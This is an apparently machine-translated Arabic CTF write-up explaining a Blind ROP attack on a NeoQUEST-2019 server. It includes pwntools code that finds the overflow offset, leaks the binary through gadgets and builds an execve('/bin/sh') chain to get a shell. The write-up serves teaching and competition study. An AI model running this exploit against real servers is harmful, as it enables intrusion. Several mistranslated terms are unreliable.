الخادم ، هل يمكنك سماعي؟ هجوم BROP على مثال مهمة NeoQUEST-2019



كيفية العثور على ثغرة أمنية في الخادم دون معلومات عنها؟ كيف يختلف BROP عن ROP؟ هل من الممكن تنزيل ملف قابل للتنفيذ من خادم من خلال تجاوز سعة المخزن المؤقت؟ مرحبًا بك في القطة ، سنقوم بتحليل إجابات هذه الأسئلة على مثال اجتياز مهمة NeoQUEST-2019 !

يرد عنوان ومنفذ الخادم: 213.170.100.211 10000 . دعنا نحاول الاتصال به:


للوهلة الأولى - لا شيء خاص ، خادم صدى منتظم: يُرجع نفس الشيء الذي أرسلناه نحن إليه.

بعد تشغيلها بحجم البيانات المرسلة ، يمكنك ملاحظة أنه مع طول خط طويل بما فيه الكفاية ، لا يقف الخادم وينهي الاتصال:


هم ، يبدو وكأنه فيض.

العثور على طول المخزن المؤقت. يمكنك ببساطة تكرار القيم ، وزيادة هذه القيم ، حتى نحصل على إخراج غير قياسي من الخادم. ويمكنك إظهار القليل من البراعة وتسريع العملية باستخدام البحث الثنائي ، والتحقق مما إذا كان الخادم قد تعطل أو لم يسقط بعد الطلب التالي.

تحديد طول المخزن المؤقت
from pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end) // 2 print("Testing {}".format(curlen)) payload = b'\xff' * curlen conn.send(payload) time.sleep(0.5) r = conn.recv() payload = b'\xff' * (curlen) conn.send(payload) try: r = conn.recv() start = curlen payload = b'\xff' * (curlen + 1) conn.send(payload) time.sleep(0.5) r = conn.recv() conn.send(payload) try: r = conn.recv() except EOFError: print("\nBuffer length is {}".format(curlen), flush=True) return curlen except EOFError: end = curlen return -1 



إذاً ، يبلغ طول المخزن المؤقت 136. إذا قمت بإرسال 136 بايت إلى الخادم ، فسنقوم بمسح البايتات الفارغة في نهاية السطر على المكدس والحصول على البيانات التي تليها - القيمة هي 0x400155. وهذا ، على ما يبدو ، هو عنوان المرسل. بهذه الطريقة ، يمكننا التحكم في تدفق التنفيذ. لكن ليس لدينا الملف القابل للتنفيذ بأنفسنا ، ولا نعرف أين يمكن تحديد موقع أدوات ROP التي تسمح لنا بالحصول على القشرة.

ما الذي يمكن عمله حيال ذلك؟

هناك تقنية خاصة تسمح لك بحل هذا النوع من المشكلات الخاضعة للتحكم في عنوان المرسل - Blind Return Oriented Programming . في الأساس ، BROP هو فحص أعمى للملف القابل للتنفيذ للأدوات الذكية. نعيد كتابة عنوان المرسل مع بعض العناوين من مقطع النص ، ونضع معاملات الأداة المرغوبة على المكدس ونحلل سلوك البرنامج. بناءً على التحليل ، يولد افتراض سواء خمننا أم لا. يتم لعب دور مهم من خلال الأدوات المساعدة الخاصة - إيقاف (لن يؤدي تنفيذه إلى إنهاء البرنامج) والفخ (تنفيذه سيؤدي إلى إنهاء البرنامج). وبالتالي ، تم العثور في البداية على الأدوات المساعدة ، وبمساعدتهم يتم بالفعل البحث عن الأدوات الضرورية (كقاعدة عامة ، من أجل استدعاء الكتابة والحصول على الملف القابل للتنفيذ).

على سبيل المثال ، نريد العثور على أداة ذكية تضع قيمة واحدة من المكدس في السجل وتحتفظ به . سنقوم بتسجيل العنوان الذي تم اختباره بدلاً من عنوان المرسل من أجل نقل التحكم إليه. بعد ذلك ، نكتب عنوان الأداة Trap التي وجدناها في وقت سابق ، وخلفها هو عنوان الأداة Stop . ما يتضح في النهاية: إذا تعطل الخادم (عمل Trap ) ، فستقع الأداة في عنوان الاختبار الحالي ، والذي لا يتطابق مع العنوان المطلوب: فهو لا يزيل عنوان الأداة Trap من المكدس. إذا توقف عن العمل ، فقد تكون الأداة الحالية هي ما نبحث عنه: لقد أزلت قيمة واحدة من الحزمة. وبالتالي ، يمكنك البحث عن الأدوات الذكية التي تتوافق مع سلوك معين.


ولكن في هذه الحالة ، يمكن تبسيط البحث. نحن نعرف بالتأكيد أن الخادم يقوم بطباعة لنا بعض القيمة في الرد. يمكنك محاولة مسح العناوين المختلفة في الملف القابل للتنفيذ ومعرفة ما إذا كنا نصل إلى الرمز الذي يعرض السطر مرة أخرى.

اكتشاف الأداة
 lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1) 



كيف يمكننا الحصول على الملف القابل للتنفيذ باستخدام هذا التسرب؟

نحن نعلم أن الخادم يكتب سطرًا في الرد. عندما نذهب إلى العنوان 0x40016f ، تمتلئ المعلمات من وظيفة الإخراج مع نوع من القمامة. نظرًا إلى عنوان المرسل ، نظرًا لأننا نتعامل مع ملف قابل للتنفيذ 64 بت ، فإن معلمات الوظائف موجودة في السجلات.

ولكن ماذا لو وجدنا أداة من شأنها أن تسمح لنا بالتحكم في محتويات السجلات (وضعها هناك من المكدس)؟ دعونا نحاول العثور عليه باستخدام نفس الأسلوب. يمكننا وضع أي قيمة على المكدس ، أليس كذلك؟ لذلك ، نحتاج إلى العثور على أداة منبثقة من شأنها أن تضع قيمتنا في السجل المرغوب قبل استدعاء وظيفة الإخراج. تعيين عنوان بداية ملف ELF ( 0x400000 ) كعنوان السلسلة. إذا وجدنا الأداة الصحيحة ، فسيتعين على الخادم طباعة التوقيع 7F 45 4C 46 استجابةً لذلك.


يستمر البحث في الأداة
 def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1) 



باستخدام المجموعة الناتجة من العناوين ، نقوم بضخ الملف القابل للتنفيذ من الخادم.

استخراج الملف
 def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None 


دعونا نرى ذلك في المؤسسة الدولية للتنمية:


يقودنا العنوان 0x40016f إلى syscall ، ويؤدي 0x40017f إلى pop rsi ؛ تقاعد

الآن بعد أن أصبح لديك ملف قابل للتنفيذ في متناول اليد ، يمكنك بناء سلسلة ROP. وعلاوة على ذلك ، كان الخط / بن / ش أيضا في ذلك !


نحن نشكل سلسلة تستدعي النظام بحجة / bin / sh . يمكن العثور على معلومات حول مكالمات النظام في نظام Linux 64 بت ، على سبيل المثال ، هنا .

آخر خطوة صغيرة
 def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive() 


تشغيل استغلال والحصول على shell:


النصر!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

قريبًا ، ستظهر vraytaps للمهام الأخرى للمرحلة عبر الإنترنت من NeoQUEST-2019. و "المواجهة" ستحدث في 26 يونيو! سوف تظهر الأخبار على موقع الحدث ، لا تفوت!

Source: https://habr.com/ru/post/ar446942/


All Articles